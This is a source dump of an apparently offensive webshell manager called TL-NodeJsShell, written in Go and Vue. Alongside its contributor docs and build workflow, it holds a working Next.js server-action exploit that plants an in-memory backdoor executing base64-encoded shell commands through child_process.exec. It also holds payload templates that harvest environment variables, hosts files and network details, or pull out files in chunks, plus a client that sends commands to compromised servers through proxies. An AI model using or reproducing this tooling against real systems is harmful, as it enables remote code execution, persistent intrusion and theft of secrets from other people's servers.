Does this PR introduce any breaking changes? 67 | 此 PR 是否引入任何破坏性更改? 68 | 69 | - [ ] Yes / 是 70 | - [ ] No / 否 71 | 72 | If yes, please describe the impact and migration path for existing users: 73 | 如果是,请描述对现有用户的影响和迁移路径: 74 | 75 | ## Additional Notes / 附加说明 76 | 77 | Add any other notes about the PR here. 78 | 在此添加有关 PR 的任何其他说明。 79 | 80 | ## Related Issues / 相关问题 81 | 82 | List any related issues: 83 | 列出任何相关问题: 84 | 85 | - Closes # 86 | - Related to # 87 | - Depends on # -------------------------------------------------------------------------------- /web/src/views/Settings.vue: -------------------------------------------------------------------------------- 1 | 36 | 37 | 69 | 70 | 93 | 94 | -------------------------------------------------------------------------------- /server/internal/core/transport/getClient.go: -------------------------------------------------------------------------------- 1 | package transport 2 | 3 | import ( 4 | "encoding/base64" 5 | "fmt" 6 | "io" 7 | "net/http" 8 | "net/url" 9 | "strings" 10 | "time" 11 | ) 12 | 13 | func (c *HTTPClient) SendGetRequest(urlStr string, command string, password string, encodeType string, headers map[string]string) (*Response, error) { 14 | commandWithNewline := command + "\n" 15 | var commandValue string 16 | encodeTypeTrimmed := strings.TrimSpace(encodeType) 17 | if encodeTypeTrimmed == "" || encodeTypeTrimmed == "none" { 18 | commandValue = commandWithNewline 19 | } else if encodeTypeTrimmed == "base64" { 20 | commandBytes := []byte(commandWithNewline) 21 | commandValue = base64.StdEncoding.EncodeToString(commandBytes) 22 | } else { 23 | commandValue = commandWithNewline 24 | } 25 | parsedURL, err := url.Parse(urlStr) 26 | if err != nil { 27 | return nil, fmt.Errorf("failed to parse URL: %v", err) 28 | } 29 | query := parsedURL.Query() 30 | query.Set(password, commandValue) 31 | parsedURL.RawQuery = query.Encode() 32 | httpReq, err := http.NewRequest("GET", parsedURL.String(), nil) 33 | if err != nil { 34 | return nil, err 35 | } 36 | httpReq.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0") 37 | for key, value := range headers { 38 | httpReq.Header.Set(key, value) 39 | } 40 | 41 | // 添加请求发送前的日志 42 | fmt.Printf("[SendGetRequest] 准备发送请求: URL=%s, Method=%s\n", parsedURL.String(), httpReq.Method) 43 | if transport, ok := c.client.Transport.(*http.Transport); ok { 44 | if transport.Proxy != nil { 45 | proxyURL, _ := transport.Proxy(httpReq) 46 | if proxyURL != nil { 47 | fmt.Printf("[SendGetRequest] ✅ 通过代理发送: %s\n", proxyURL.String()) 48 | } else { 49 | fmt.Printf("[SendGetRequest] ⚠️ 代理函数返回 nil,可能直接连接\n") 50 | } 51 | } else { 52 | fmt.Printf("[SendGetRequest] ⚠️ 未配置代理,直接连接\n") 53 | } 54 | } else { 55 | fmt.Printf("[SendGetRequest] ⚠️ 无法检查代理配置,Transport类型: %T\n", c.client.Transport) 56 | } 57 | 58 | resp, err := c.client.Do(httpReq) 59 | if err != nil { 60 | fmt.Printf("[SendGetRequest] ❌ 请求发送失败: %v\n", err) 61 | return nil, err 62 | } 63 | fmt.Printf("[SendGetRequest] ✅ 请求发送成功,响应状态: %d\n", resp.StatusCode) 64 | defer resp.Body.Close() 65 | body, err := io.ReadAll(resp.Body) 66 | if err != nil { 67 | return nil, err 68 | } 69 | 70 | if resp.StatusCode != http.StatusOK { 71 | return &Response{ 72 | Success: false, 73 | Data: string(body), 74 | Error: fmt.Sprintf("HTTP %d: %s", resp.StatusCode, resp.Status), 75 | Timestamp: time.Now().Unix(), 76 | }, nil 77 | } 78 | 79 | return ParseMultipartResponse(body, resp.StatusCode) 80 | } 81 | -------------------------------------------------------------------------------- /server/internal/core/proxy/proxy.go: -------------------------------------------------------------------------------- 1 | package proxy 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "net" 7 | "net/http" 8 | "net/url" 9 | "time" 10 | 11 | "golang.org/x/net/proxy" 12 | ) 13 | 14 | type ProxyConfig struct { 15 | Type string 16 | Host string 17 | Port int 18 | Username string 19 | Password string 20 | } 21 | 22 | func CreateProxyClient(cfg *ProxyConfig) (*http.Client, error) { 23 | var httpTransport *http.Transport 24 | 25 | if cfg.Type == "http" || cfg.Type == "https" { 26 | // 使用 url.UserPassword 来正确编码用户名和密码中的特殊字符 27 | proxyURL := &url.URL{ 28 | Scheme: cfg.Type, 29 | Host: fmt.Sprintf("%s:%d", cfg.Host, cfg.Port), 30 | } 31 | 32 | // 如果提供了用户名和密码,设置UserInfo 33 | if cfg.Username != "" { 34 | proxyURL.User = url.UserPassword(cfg.Username, cfg.Password) 35 | } 36 | 37 | httpTransport = &http.Transport{ 38 | Proxy: http.ProxyURL(proxyURL), 39 | DisableCompression: true, 40 | MaxIdleConns: 100, 41 | IdleConnTimeout: 90 * time.Second, 42 | TLSHandshakeTimeout: 10 * time.Second, 43 | ResponseHeaderTimeout: 120 * time.Second, // 代理场景下,响应头超时时间更长 44 | ExpectContinueTimeout: 1 * time.Second, 45 | } 46 | } else if cfg.Type == "socks5" { 47 | var auth *proxy.Auth 48 | if cfg.Username != "" { 49 | auth = &proxy.Auth{ 50 | User: cfg.Username, 51 | Password: cfg.Password, 52 | } 53 | } 54 | 55 | dialer, err := proxy.SOCKS5("tcp", fmt.Sprintf("%s:%d", cfg.Host, cfg.Port), auth, proxy.Direct) 56 | if err != nil { 57 | return nil, fmt.Errorf("failed to create SOCKS5 dialer: %w", err) 58 | } 59 | 60 | // 使用 DialContext 而不是 Dial(Dial已过时) 61 | // 将 dialer.Dial 包装为 DialContext 62 | dialContext := func(ctx context.Context, network, addr string) (net.Conn, error) { 63 | // 创建一个channel来接收连接和错误 64 | type result struct { 65 | conn net.Conn 66 | err error 67 | } 68 | done := make(chan result, 1) 69 | 70 | go func() { 71 | conn, err := dialer.Dial(network, addr) 72 | done <- result{conn: conn, err: err} 73 | }() 74 | 75 | select { 76 | case <-ctx.Done(): 77 | return nil, ctx.Err() 78 | case res := <-done: 79 | return res.conn, res.err 80 | } 81 | } 82 | 83 | httpTransport = &http.Transport{ 84 | DialContext: dialContext, 85 | DisableCompression: true, 86 | MaxIdleConns: 100, 87 | IdleConnTimeout: 90 * time.Second, 88 | TLSHandshakeTimeout: 10 * time.Second, 89 | ResponseHeaderTimeout: 120 * time.Second, // 代理场景下,响应头超时时间更长 90 | ExpectContinueTimeout: 1 * time.Second, 91 | } 92 | } else { 93 | return nil, fmt.Errorf("unsupported proxy type: %s", cfg.Type) 94 | } 95 | 96 | return &http.Client{ 97 | Transport: httpTransport, 98 | Timeout: 180 * time.Second, // 进一步加长超时时间,大文件分片可能需要更长时间 99 | }, nil 100 | } 101 | -------------------------------------------------------------------------------- /server/internal/core/payload/templates/downloadFileChunk.js.tpl: -------------------------------------------------------------------------------- 1 | const fs = require('node:fs'); 2 | const path = require('node:path'); 3 | try { 4 | let filePath = {{FILE_PATH}}; 5 | let chunkIndex = {{CHUNK_INDEX}}; 6 | let chunkSize = {{CHUNK_SIZE}}; 7 | 8 | if (!filePath || typeof filePath !== 'string') { 9 | throw new Error('Invalid file path'); 10 | } 11 | 12 | if (typeof chunkIndex !== 'number' || chunkIndex < 0) { 13 | throw new Error('Invalid chunk index'); 14 | } 15 | 16 | if (typeof chunkSize !== 'number' || chunkSize <= 0) { 17 | throw new Error('Invalid chunk size'); 18 | } 19 | 20 | let target; 21 | try { 22 | target = path.resolve(filePath); 23 | } catch(pathError) { 24 | throw new Error('Failed to resolve file path: ' + String(pathError)); 25 | } 26 | 27 | if (!fs.existsSync(target)) { 28 | throw new Error('File not found: ' + target); 29 | } 30 | 31 | let stats; 32 | try { 33 | stats = fs.statSync(target); 34 | } catch(statError) { 35 | throw new Error('Failed to get file stats: ' + String(statError)); 36 | } 37 | 38 | if (!stats.isFile()) { 39 | throw new Error('Path is not a file: ' + target); 40 | } 41 | 42 | let fileSize = stats.size; 43 | let startPos = chunkIndex * chunkSize; 44 | let endPos = Math.min(startPos + chunkSize, fileSize); 45 | 46 | if (startPos >= fileSize) { 47 | throw new Error('Chunk index out of range'); 48 | } 49 | 50 | // 读取指定范围的数据 51 | let fd; 52 | try { 53 | fd = fs.openSync(target, 'r'); 54 | } catch(openError) { 55 | throw new Error('Failed to open file: ' + String(openError)); 56 | } 57 | 58 | let buffer; 59 | try { 60 | buffer = Buffer.alloc(endPos - startPos); 61 | let bytesRead = fs.readSync(fd, buffer, 0, endPos - startPos, startPos); 62 | if (bytesRead !== endPos - startPos) { 63 | buffer = buffer.slice(0, bytesRead); 64 | } 65 | } catch(readError) { 66 | fs.closeSync(fd); 67 | throw new Error('Failed to read file chunk: ' + String(readError)); 68 | } 69 | 70 | fs.closeSync(fd); 71 | 72 | // Base64编码 73 | let base64Content; 74 | try { 75 | base64Content = buffer.toString('base64'); 76 | } catch(encodeError) { 77 | throw new Error('Failed to encode chunk to base64: ' + String(encodeError)); 78 | } 79 | 80 | // 计算总 chunk 数 81 | let totalChunks = Math.ceil(fileSize / chunkSize); 82 | 83 | // 同时返回下划线命名,便于前端使用 84 | console.log(JSON.stringify({ 85 | ok: true, 86 | path: target, 87 | // camelCase 88 | chunkIndex: chunkIndex, 89 | totalChunks: totalChunks, 90 | chunkSize: buffer.length, 91 | fileSize: fileSize, 92 | base64: base64Content, 93 | // snake_case(前端按此字段读取) 94 | chunk_index: chunkIndex, 95 | total_chunks: totalChunks, 96 | chunk_size: buffer.length, 97 | file_size: fileSize, 98 | data: base64Content 99 | })); 100 | } catch(error) { 101 | console.log(JSON.stringify({ 102 | ok: false, 103 | error: String(error.message || error), 104 | chunkIndex: typeof chunkIndex !== 'undefined' ? chunkIndex : -1 105 | })); 106 | } 107 | 108 | 109 | -------------------------------------------------------------------------------- /.github/workflows/release.yml: -------------------------------------------------------------------------------- 1 | name: Release 2 | 3 | on: 4 | push: 5 | tags: 6 | - "v*" 7 | 8 | permissions: 9 | contents: write 10 | 11 | jobs: 12 | build-and-release: 13 | name: Build and Release 14 | runs-on: ubuntu-latest 15 | strategy: 16 | matrix: 17 | include: 18 | - os: linux 19 | arch: amd64 20 | goos: linux 21 | goarch: amd64 22 | ext: "" 23 | - os: windows 24 | arch: amd64 25 | goos: windows 26 | goarch: amd64 27 | ext: ".exe" 28 | - os: darwin 29 | arch: amd64 30 | goos: darwin 31 | goarch: amd64 32 | ext: "" 33 | - os: darwin 34 | arch: arm64 35 | goos: darwin 36 | goarch: arm64 37 | ext: "" 38 | 39 | steps: 40 | - name: Checkout code 41 | uses: actions/checkout@v4 42 | 43 | - name: Setup Go 44 | uses: actions/setup-go@v4 45 | with: 46 | go-version: '1.21' 47 | cache-dependency-path: server/go.sum 48 | 49 | - name: Setup Node.js 50 | uses: actions/setup-node@v4 51 | with: 52 | node-version: '18' 53 | 54 | - name: Install rsrc (Windows only) 55 | if: matrix.goos == 'windows' 56 | run: go install github.com/akavel/rsrc@latest 57 | 58 | - name: Generate Windows Icon Resource 59 | if: matrix.goos == 'windows' 60 | run: | 61 | # Assuming logo.ico is in docs/images/logo.ico based on previous steps 62 | if [ -f "docs/images/logo.ico" ]; then 63 | rsrc -ico docs/images/logo.ico -o server/cmd/api/rsrc_windows.syso 64 | fi 65 | 66 | - name: Build Frontend 67 | working-directory: ./web 68 | run: | 69 | npm install 70 | npm run build 71 | 72 | - name: Build Backend 73 | working-directory: ./server 74 | env: 75 | CGO_ENABLED: 0 76 | GOOS: ${{ matrix.goos }} 77 | GOARCH: ${{ matrix.goarch }} 78 | run: | 79 | go mod tidy 80 | go build -o NodeJsshell${{ matrix.ext }} ./cmd/api 81 | 82 | - name: Prepare Artifact 83 | run: | 84 | mkdir -p release/web/dist 85 | cp -r web/dist/* release/web/dist/ 86 | mv server/NodeJsshell${{ matrix.ext }} release/ 87 | 88 | # Create archive 89 | cd release 90 | if [ "${{ matrix.goos }}" == "windows" ]; then 91 | zip -r ../NodeJsshell_${{ matrix.goos }}_${{ matrix.goarch }}.zip . 92 | else 93 | tar -czvf ../NodeJsshell_${{ matrix.goos }}_${{ matrix.goarch }}.tar.gz . 94 | fi 95 | 96 | - name: Upload Release Asset 97 | uses: softprops/action-gh-release@v1 98 | if: startsWith(github.ref, 'refs/tags/') 99 | with: 100 | files: NodeJsshell_${{ matrix.goos }}_${{ matrix.goarch }}* 101 | draft: false 102 | prerelease: false 103 | -------------------------------------------------------------------------------- /server/internal/core/payload/templates/systemInfo.js.tpl: -------------------------------------------------------------------------------- 1 | const os = require('node:os'); 2 | const fs = require('node:fs'); 3 | const path = require('node:path'); 4 | try { 5 | let platform, arch, hostname, type, release, uptime, totalmem, freemem, cpus; 6 | 7 | try { 8 | platform = os.platform(); 9 | } catch(e) { platform = 'unknown'; } 10 | 11 | try { 12 | arch = os.arch(); 13 | } catch(e) { arch = 'unknown'; } 14 | 15 | try { 16 | hostname = os.hostname(); 17 | } catch(e) { hostname = 'unknown'; } 18 | 19 | try { 20 | type = os.type(); 21 | } catch(e) { type = 'unknown'; } 22 | 23 | try { 24 | release = os.release(); 25 | } catch(e) { release = 'unknown'; } 26 | 27 | try { 28 | uptime = os.uptime(); 29 | } catch(e) { uptime = 0; } 30 | 31 | try { 32 | totalmem = os.totalmem(); 33 | } catch(e) { totalmem = 0; } 34 | 35 | try { 36 | freemem = os.freemem(); 37 | } catch(e) { freemem = 0; } 38 | 39 | try { 40 | let cpuList = os.cpus(); 41 | cpus = cpuList ? cpuList.length : 0; 42 | } catch(e) { cpus = 0; } 43 | 44 | let userInfo = null; 45 | try { 46 | userInfo = os.userInfo(); 47 | } catch(userError) { 48 | userInfo = { 49 | uid: -1, 50 | gid: -1, 51 | username: 'unknown', 52 | homedir: process.env.HOME || process.env.USERPROFILE || '/', 53 | shell: process.env.SHELL || process.env.COMSPEC || null 54 | }; 55 | } 56 | 57 | let envVars = {}; 58 | try { 59 | envVars = process.env || {}; 60 | } catch(e) { 61 | envVars = {}; 62 | } 63 | 64 | let hostsContent = ''; 65 | try { 66 | let hostsPath; 67 | if (platform === 'win32') { 68 | hostsPath = path.join(process.env.SYSTEMROOT || process.env.WINDIR || 'C:\\Windows', 'System32', 'drivers', 'etc', 'hosts'); 69 | } else { 70 | hostsPath = '/etc/hosts'; 71 | } 72 | if (fs.existsSync(hostsPath)) { 73 | try { 74 | hostsContent = fs.readFileSync(hostsPath, 'utf8'); 75 | } catch(readError) { 76 | hostsContent = 'Failed to read hosts file: ' + String(readError); 77 | } 78 | } else { 79 | hostsContent = 'Hosts file not found: ' + hostsPath; 80 | } 81 | } catch(hostsError) { 82 | hostsContent = 'Failed to access hosts file: ' + String(hostsError); 83 | } 84 | 85 | let networkInterfaces = []; 86 | try { 87 | let interfaces = os.networkInterfaces(); 88 | if (interfaces) { 89 | for (let name in interfaces) { 90 | if (interfaces.hasOwnProperty(name)) { 91 | let addrs = interfaces[name]; 92 | if (addrs && Array.isArray(addrs)) { 93 | for (let i = 0; i < addrs.length; i++) { 94 | let addr = addrs[i]; 95 | if (addr && addr.address) { 96 | let ipInfo = { 97 | interface: name, 98 | address: addr.address, 99 | family: addr.family || 'unknown', 100 | internal: addr.internal || false 101 | }; 102 | if (addr.netmask) { 103 | ipInfo.netmask = addr.netmask; 104 | } 105 | if (addr.mac) { 106 | ipInfo.mac = addr.mac; 107 | } 108 | networkInterfaces.push(ipInfo); 109 | } 110 | } 111 | } 112 | } 113 | } 114 | } 115 | } catch(netError) { 116 | networkInterfaces = []; 117 | } 118 | 119 | const result = { 120 | ok: true, 121 | platform: platform, 122 | arch: arch, 123 | hostname: hostname, 124 | type: type, 125 | release: release, 126 | uptime: uptime, 127 | totalmem: totalmem, 128 | freemem: freemem, 129 | cpus: cpus, 130 | userInfo: userInfo, 131 | envVars: envVars, 132 | hosts: hostsContent, 133 | networkInterfaces: networkInterfaces 134 | }; 135 | 136 | console.log(JSON.stringify(result)); 137 | } catch(error) { 138 | console.log(JSON.stringify({ 139 | ok: false, 140 | error: String(error.message || error) 141 | })); 142 | } 143 | 144 | -------------------------------------------------------------------------------- /.github/CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # 贡献指南 2 | 3 | [English](CONTRIBUTING_EN.md) | 简体中文 4 | 5 | --- 6 | 7 | 感谢您对 TL-NodeJsShell 项目的贡献兴趣!本文档提供了项目贡献指南。 8 | 9 | ## 行为准则 10 | 11 | 参与本项目即表示您同意为所有贡献者维护一个尊重和包容的环境。 12 | 13 | ## 如何贡献 14 | 15 | ### 报告错误 16 | 17 | 在创建错误报告之前,请检查现有问题以避免重复。 18 | 19 | **报告错误时,请包含:** 20 | - 清晰的描述性标题 21 | - 重现问题的步骤 22 | - 预期行为 23 | - 实际行为 24 | - 截图(如适用) 25 | - 环境详情(操作系统、Go 版本、Node.js 版本) 26 | - 错误消息或日志 27 | 28 | ### 建议改进 29 | 30 | 欢迎提出改进建议!请提供: 31 | - 清晰的改进描述 32 | - 使用场景和好处 33 | - 可能的实现方法 34 | - 任何相关示例或模型 35 | 36 | ### 拉取请求 37 | 38 | 1. **Fork 仓库** 39 | ```bash 40 | git clone https://github.com/YOUR_USERNAME/TL-NodeJsShell.git 41 | cd TL-NodeJsShell 42 | ``` 43 | 44 | 2. **创建功能分支** 45 | ```bash 46 | git checkout -b feature/your-feature-name 47 | ``` 48 | 49 | 3. **进行更改** 50 | - 遵循编码标准 51 | - 编写清晰的提交消息 52 | - 如适用,添加测试 53 | - 更新文档 54 | 55 | 4. **测试更改** 56 | ```bash 57 | # 后端测试 58 | cd backend 59 | go test ./... 60 | 61 | # 前端测试 62 | cd frontend 63 | npm run test 64 | ``` 65 | 66 | 5. **提交更改** 67 | ```bash 68 | git add . 69 | git commit -m "feat: 添加您的功能描述" 70 | ``` 71 | 72 | 6. **推送到您的 Fork** 73 | ```bash 74 | git push origin feature/your-feature-name 75 | ``` 76 | 77 | 7. **创建拉取请求** 78 | - 提供清晰的更改描述 79 | - 引用任何相关问题 80 | - 确保所有测试通过 81 | 82 | ## 编码标准 83 | 84 | ### Go(后端) 85 | 86 | - 遵循 [Effective Go](https://golang.org/doc/effective_go.html) 指南 87 | - 使用 `gofmt` 进行代码格式化 88 | - 编写有意义的变量和函数名 89 | - 为复杂逻辑添加注释 90 | - 保持函数专注和简洁 91 | 92 | **示例:** 93 | ```go 94 | // GetShellByID 通过 ID 检索 shell 配置 95 | func (h *ShellHandler) GetShellByID(id uint) (*database.Shell, error) { 96 | var shell database.Shell 97 | if err := h.db.First(&shell, id).Error; err != nil { 98 | return nil, fmt.Errorf("shell not found: %w", err) 99 | } 100 | return &shell, nil 101 | } 102 | ``` 103 | 104 | ### TypeScript/Vue(前端) 105 | 106 | - 遵循 [Vue.js 风格指南](https://cn.vuejs.org/style-guide/) 107 | - 使用 TypeScript 确保类型安全 108 | - 使用组合式 API 编写 Vue 组件 109 | - 遵循 ESLint 规则 110 | - 编写自文档化代码 111 | 112 | **示例:** 113 | ```typescript 114 | // 定义清晰的接口 115 | interface ShellConfig {id: number 116 | url: string 117 | password: string 118 | encodeType: string 119 | } 120 | 121 | // 使用组合式 API 122 | const { shells, loading, error } = useShells() 123 | ``` 124 | 125 | ### 提交消息约定 126 | 127 | 遵循 [约定式提交](https://www.conventionalcommits.org/zh-hans/): 128 | 129 | - `feat:` 新功能 130 | - `fix:` 错误修复 131 | - `docs:` 文档更改 132 | - `style:` 代码样式更改(格式化等) 133 | - `refactor:` 代码重构 134 | - `test:` 添加或更新测试 135 | - `chore:` 维护任务 136 | 137 | **示例:** 138 | ``` 139 | feat: 添加代理认证支持 140 | fix: 解决文件上传分块问题 141 | docs: 更新 API 文档 142 | refactor: 改进 shell 处理器的错误处理 143 | ``` 144 | 145 | ## 项目结构 146 | 147 | ``` 148 | TL-NodeJsShell/ 149 | ├── backend/ 150 | │ ├── app/ # 应用初始化 151 | │ ├── config/ # 配置管理 152 | │ ├── core/ # 核心业务逻辑 153 | │ ├── database/ # 数据库模型和操作 154 | │ ├── handlers/ # HTTP 请求处理器 155 | │ └── main.go # 入口点 156 | ├── frontend/ 157 | │ ├── src/ 158 | │ │ ├── api/ # API 客户端函数 159 | │ │ ├── components/ # 可重用的 Vue 组件 160 | │ │ ├── views/ # 页面组件 161 | │ │ ├── stores/ # Pinia 状态管理 162 | │ │ └── router/ # Vue Router 配置 163 | │ └── public/ # 静态资源 164 | └── docs/ # 文档 165 | ``` 166 | 167 | ## 开发环境设置 168 | 169 | ### 后端开发 170 | 171 | ```bash 172 | cd backend 173 | go mod download 174 | go run main.go 175 | ``` 176 | 177 | ### 前端开发 178 | 179 | ```bash 180 | cd frontend 181 | npm install 182 | npm run dev 183 | ``` 184 | 185 | ## 测试 186 | 187 | ### 后端测试 188 | 189 | ```bash 190 | cd backend 191 | go test ./... -v 192 | go test -cover ./... 193 | ``` 194 | 195 | ### 前端测试 196 | 197 | ```bash 198 | cd frontend 199 | npm run test 200 | npm run test:coverage 201 | ``` 202 | 203 | ## 文档 204 | 205 | - 为面向用户的更改更新 README.md 206 | - 在 docs/API.md 中更新 API 文档 207 | - 为复杂代码添加内联注释 208 | - 为重要更改更新 CHANGELOG.md 209 | 210 | ## 安全 211 | 212 | - **永远不要提交敏感数据**(密码、密钥、令牌) 213 | - 私下报告安全漏洞 214 | - 遵循安全编码实践 215 | - 验证所有用户输入 216 | 217 | ## 有问题? 218 | 219 | 欢迎: 220 | - 开启 issue 进行讨论 221 | - 加入我们的社区讨论 222 | - 直接联系维护者 223 | 224 | --- 225 | 226 |
227 | 228 | **感谢您的贡献!** 229 | 230 |
-------------------------------------------------------------------------------- /server/internal/handlers/requestHelper.go: -------------------------------------------------------------------------------- 1 | package handlers 2 | 3 | import ( 4 | "encoding/json" 5 | "NodeJsshell/internal/core/transport" 6 | "NodeJsshell/internal/database" 7 | "strings" 8 | "time" 9 | "github.com/google/uuid" 10 | ) 11 | 12 | func SendRequest(httpClient *transport.HTTPClient, shell *database.Shell, command string) (*transport.Response, error) { 13 | isNextJS := strings.Contains(shell.Protocol, "nextjs") || strings.Contains(shell.Protocol, "next") || strings.Contains(shell.URL, "nextjs") 14 | maxRetries := 3 15 | if isNextJS { 16 | maxRetries = 5 17 | } 18 | 19 | var lastResp *transport.Response 20 | var lastErr error 21 | 22 | for attempt := 0; attempt < maxRetries; attempt++ { 23 | if attempt > 0 { 24 | delay := time.Duration(attempt*100) * time.Millisecond 25 | if delay > 500*time.Millisecond { 26 | delay = 500 * time.Millisecond 27 | } 28 | time.Sleep(delay) 29 | } 30 | 31 | var customHeaders map[string]string 32 | if shell.CustomHeaders != "" { 33 | json.Unmarshal([]byte(shell.CustomHeaders), &customHeaders) 34 | } 35 | if customHeaders == nil { 36 | customHeaders = make(map[string]string) 37 | } 38 | 39 | if shell.Protocol == "multipart" { 40 | if customHeaders["Next-Action"] == "" { 41 | customHeaders["Next-Action"] = "x" 42 | } 43 | if isNextJS || attempt > 0 { 44 | customHeaders["X-Nextjs-Request-Id"] = uuid.New().String()[:8] 45 | customHeaders["X-Nextjs-Html-Request-Id"] = uuid.New().String()[:16] 46 | } else { 47 | if customHeaders["X-Nextjs-Request-Id"] == "" { 48 | customHeaders["X-Nextjs-Request-Id"] = uuid.New().String()[:8] 49 | } 50 | if customHeaders["X-Nextjs-Html-Request-Id"] == "" { 51 | customHeaders["X-Nextjs-Html-Request-Id"] = uuid.New().String()[:16] 52 | } 53 | } 54 | 55 | if shell.Method == "GET" { 56 | lastResp, lastErr = httpClient.SendGetRequest(shell.URL, command, shell.Password, shell.EncodeType, customHeaders) 57 | } else { 58 | lastResp, lastErr = httpClient.SendMultipartRequestWithProtocol(shell.URL, command, shell.Password, shell.EncodeType, customHeaders, shell.Protocol) 59 | } 60 | } else { 61 | transportReq := transport.BuildRequest(shell.Password, shell.EncodeType, "exec", command) 62 | lastResp, lastErr = httpClient.SendRequest(shell.URL, transportReq) 63 | } 64 | 65 | if lastErr != nil { 66 | continue 67 | } 68 | 69 | if lastResp != nil && lastResp.Success { 70 | return lastResp, nil 71 | } 72 | 73 | if lastResp != nil && lastResp.Error != "" { 74 | errorLower := strings.ToLower(lastResp.Error) 75 | if strings.Contains(errorLower, "server action not found") { 76 | continue 77 | } 78 | } 79 | 80 | if lastResp != nil && lastResp.Data != "" { 81 | dataLower := strings.ToLower(lastResp.Data) 82 | if strings.Contains(dataLower, "server action not found") { 83 | continue 84 | } 85 | } 86 | 87 | if lastResp != nil && !lastResp.Success { 88 | if isNextJS && attempt < maxRetries-1 { 89 | continue 90 | } 91 | } 92 | } 93 | 94 | if lastErr != nil { 95 | return nil, lastErr 96 | } 97 | 98 | if lastResp == nil { 99 | return &transport.Response{ 100 | Success: false, 101 | Error: "No response after retries", 102 | Timestamp: time.Now().Unix(), 103 | }, nil 104 | } 105 | 106 | return lastResp, nil 107 | } 108 | 109 | func getCustomHeaders(shell *database.Shell) map[string]string { 110 | var customHeaders map[string]string 111 | if shell.CustomHeaders != "" { 112 | json.Unmarshal([]byte(shell.CustomHeaders), &customHeaders) 113 | } 114 | if customHeaders == nil { 115 | customHeaders = make(map[string]string) 116 | } 117 | if shell.Protocol == "multipart" { 118 | if customHeaders["Next-Action"] == "" { 119 | customHeaders["Next-Action"] = "x" 120 | } 121 | if customHeaders["X-Nextjs-Request-Id"] == "" { 122 | customHeaders["X-Nextjs-Request-Id"] = uuid.New().String()[:8] 123 | } 124 | if customHeaders["X-Nextjs-Html-Request-Id"] == "" { 125 | customHeaders["X-Nextjs-Html-Request-Id"] = uuid.New().String()[:16] 126 | } 127 | } 128 | return customHeaders 129 | } 130 | 131 | -------------------------------------------------------------------------------- /web/src/views/PayloadGen.vue: -------------------------------------------------------------------------------- 1 | 60 | 61 | 134 | 135 | 153 | 154 | 155 | 156 | -------------------------------------------------------------------------------- /server/internal/core/exploit/nextjsMemoryShell.go: -------------------------------------------------------------------------------- 1 | package exploit 2 | 3 | import ( 4 | "bytes" 5 | "encoding/json" 6 | "fmt" 7 | "io" 8 | "mime/multipart" 9 | "net/http" 10 | "time" 11 | ) 12 | 13 | type NextJSMemoryShellPayload struct { 14 | Then string `json:"then"` 15 | Status string `json:"status"` 16 | Reason int `json:"reason"` 17 | Value string `json:"value"` 18 | Response ResponseData `json:"_response"` 19 | Chunks string `json:"_chunks"` 20 | FormData FormDataInfo `json:"_formData"` 21 | } 22 | 23 | type ResponseData struct { 24 | Prefix string `json:"_prefix"` 25 | Chunks string `json:"_chunks"` 26 | FormData FormDataInfo `json:"_formData"` 27 | } 28 | 29 | type FormDataInfo struct { 30 | Get string `json:"get"` 31 | } 32 | 33 | func GenerateNextJSMemoryShell(urlPath string) *NextJSMemoryShellPayload { 34 | payload := &NextJSMemoryShellPayload{ 35 | Then: "$1:__proto__:then", 36 | Status: "resolved_model", 37 | Reason: -1, 38 | Value: `{"then":"$B1337"}`, 39 | Response: ResponseData{ 40 | Prefix: fmt.Sprintf("(async()=>{const http=await import('node:http');const url=await import('node:url');const cp=await import('node:child_process');const originalEmit=http.Server.prototype.emit;http.Server.prototype.emit=function(event,...args){if(event==='request'){const[req,res]=args;const parsedUrl=url.parse(req.url,true);if(parsedUrl.pathname==='%s'){if(req.method!=='POST'){res.writeHead(405,{'Content-Type':'application/json'});res.end(JSON.stringify({success:false,error:'POST required'}));return true;}let body='';req.on('data',c=>body+=c);req.on('end',()=>{let raw='MFLVCPI=';try{if(req.headers['content-type']?.includes('application/json')){const j=JSON.parse(body||'{}');raw=j.raw??raw;}else{const p=new URLSearchParams(body);raw=p.get('raw')??raw;}}catch(_){}const cmd=Buffer.from(raw,'base64').toString('utf8');cp.exec(cmd,{maxBuffer:104857600,encoding:'buffer'},(err,stdout,stderr)=>{res.writeHead(200,{'Content-Type':'application/json'});res.end(JSON.stringify({success:!err,stdout:stdout?stdout.toString('utf8'):'',stderr:stderr?stderr.toString('utf8'):'',error:err?err.message:null}));});});return true;}}return originalEmit.apply(this,arguments);};})();", urlPath), 41 | Chunks: "$Q2", 42 | FormData: FormDataInfo{ 43 | Get: "$1:constructor:constructor", 44 | }, 45 | }, 46 | Chunks: "$@0", 47 | FormData: FormDataInfo{ 48 | Get: "$1:constructor:constructor", 49 | }, 50 | } 51 | return payload 52 | } 53 | 54 | func InjectNextJSMemoryShell(targetURL string, urlPath string, headers map[string]string) error { 55 | payload := GenerateNextJSMemoryShell(urlPath) 56 | payloadJSON, err := json.Marshal(payload) 57 | if err != nil { 58 | return fmt.Errorf("failed to marshal payload: %v", err) 59 | } 60 | 61 | var requestBody bytes.Buffer 62 | writer := multipart.NewWriter(&requestBody) 63 | 64 | field0, err := writer.CreateFormField("0") 65 | if err != nil { 66 | return fmt.Errorf("failed to create form field 0: %v", err) 67 | } 68 | _, err = field0.Write(payloadJSON) 69 | if err != nil { 70 | return fmt.Errorf("failed to write form field 0: %v", err) 71 | } 72 | 73 | field1, err := writer.CreateFormField("1") 74 | if err != nil { 75 | return fmt.Errorf("failed to create form field 1: %v", err) 76 | } 77 | _, err = field1.Write([]byte(`"$@0"`)) 78 | if err != nil { 79 | return fmt.Errorf("failed to write form field 1: %v", err) 80 | } 81 | 82 | field2, err := writer.CreateFormField("2") 83 | if err != nil { 84 | return fmt.Errorf("failed to create form field 2: %v", err) 85 | } 86 | _, err = field2.Write([]byte("[]")) 87 | if err != nil { 88 | return fmt.Errorf("failed to write form field 2: %v", err) 89 | } 90 | 91 | err = writer.Close() 92 | if err != nil { 93 | return fmt.Errorf("failed to close multipart writer: %v", err) 94 | } 95 | 96 | client := &http.Client{ 97 | Timeout: 30 * time.Second, 98 | } 99 | req, err := http.NewRequest("POST", targetURL, &requestBody) 100 | if err != nil { 101 | return fmt.Errorf("failed to create request: %v", err) 102 | } 103 | req.Header.Set("Content-Type", writer.FormDataContentType()) 104 